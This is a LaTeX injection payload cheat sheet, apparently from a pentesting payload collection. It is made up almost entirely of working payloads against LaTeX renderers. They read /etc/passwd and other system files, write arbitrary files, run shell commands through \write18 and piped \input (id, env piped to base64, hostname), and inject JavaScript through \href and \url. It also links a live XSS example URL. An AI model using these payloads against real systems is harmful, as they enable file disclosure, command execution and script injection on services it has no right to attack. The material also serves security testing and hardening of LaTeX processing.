LaTex Injection

Read file

Read file and interpret the LaTeX code in it:

\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)

Read single lined file:

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Read multiple lined file:

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file

Read text file, without interpreting the content, it will only paste raw file content:

\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Write single lined file:

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile

The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.

\immediate\write18{id > output}
\input{output}

If you get any LaTex error, consider using base64 to get the result without bad characters (or use \verbatiminput):

\immediate\write18{env | base64 > test.tex}
\input{text.tex}

\input|ls|base64
\input{|"/bin/hostname"}

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Live example at http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$